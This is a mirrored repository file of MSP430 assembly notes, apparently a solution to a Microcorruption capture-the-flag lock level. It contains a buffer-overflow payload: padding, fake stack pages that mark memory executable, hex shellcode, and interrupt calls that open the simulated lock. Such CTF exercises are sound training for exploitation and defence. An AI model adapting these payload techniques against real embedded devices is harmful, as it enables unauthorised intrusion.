mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2024-11-25 14:45:57 +00:00
38 lines
535 B
NASM
38 lines
535 B
NASM
|
.msp430
|
||
|
.bss
|
||
|
|
||
|
at return, r14 is #000a
|
||
|
|
||
|
|
||
|
; padding
|
||
|
[41414141414141414141414141414141]
|
||
|
|
||
|
; fake stack pages:
|
||
|
page1:
|
||
|
ba4440000000 ; set page executable;; payload
|
||
|
page2:
|
||
|
400a:
|
||
|
0640
|
||
|
|
||
|
; payload
|
||
|
31800600324000ffb0121000
|
||
|
|
||
|
; assembled payload:
|
||
|
41414141414141414141414141414141ba4440000000064031800600324000ffb0121000
|
||
|
|
||
|
32420800b0121000:
|
||
|
mov #8f00, sr
|
||
|
call #0x10
|
||
|
|
||
|
.text
|
||
|
3f403f80591b024fb0121000:
|
||
|
mov #ff01, r15
|
||
|
sub #7001, r15
|
||
|
mov r15, sr
|
||
|
call #0x10
|
||
|
|
||
|
|
||
|
32403280591bb0121000:
|
||
|
mov #ff01, sr
|
||
|
sub #7001,sr
|
||
|
call #0x10
|